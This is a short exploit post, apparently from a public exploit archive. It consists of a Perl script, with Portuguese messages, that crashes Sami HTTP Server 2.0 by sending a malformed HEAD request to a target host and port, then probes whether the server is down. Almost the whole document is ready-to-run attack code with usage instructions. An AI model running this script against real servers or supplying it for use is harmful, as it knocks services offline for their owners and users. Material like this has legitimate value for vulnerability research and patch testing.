Sami HTTP server version 2.0 suffers from a denial of service vulnerability.
701379fe6f3a3ab77800326f632f07e8141a7375f546d11b21c4b1c0cfdf53c3
#!/usr/bin/perl -w
#
#
# Date: 06/14/2021 14 Jun
#
# Version Vulnerable: Sami HTTP 2.0
#
# OS Tested: Windows XP PACK 3 Brazilian
#
use IO::Socket;
$sis="$^O";
print $sis;
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
if ((!$ARGV[0]) || (!$ARGV[1])) {
&apresentacao();
exit;
}
sub apresentacao {
print q {
##############################################################
# #
# [*] Sami HTTP Server 2.0 Denied Of Service
#
# #
# #
# [*] Author: Fernando Mengali #
# #
# #
# [+] Modo de uso: perl exploit.pl <Target> <Porta> #
# #
# #
################# Code Exploit ###############################
}
}
$target = $ARGV[0];
$porta = $ARGV[1];
print "Sobrecarregando servidor...\n";
$socket = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $porta,
Proto => "tcp", Timeout => 1) || die "Não foi possível conectar ao
servidor: $target!\n";
print $socket "HEAD /\x41\x42\x43\x44\x45\x46\x47\x25\x49 HTTP/1.0\n";
close($socket);
sleep(10);
$socket = IO::Socket::INET->new(PeerAddr => $target, PeerPort => $porta,
Proto => "tcp", Timeout => 1) || die "Servidor down: $target!\n";
print $socket "HEAD / HTTP/1.0\n";
close($socket);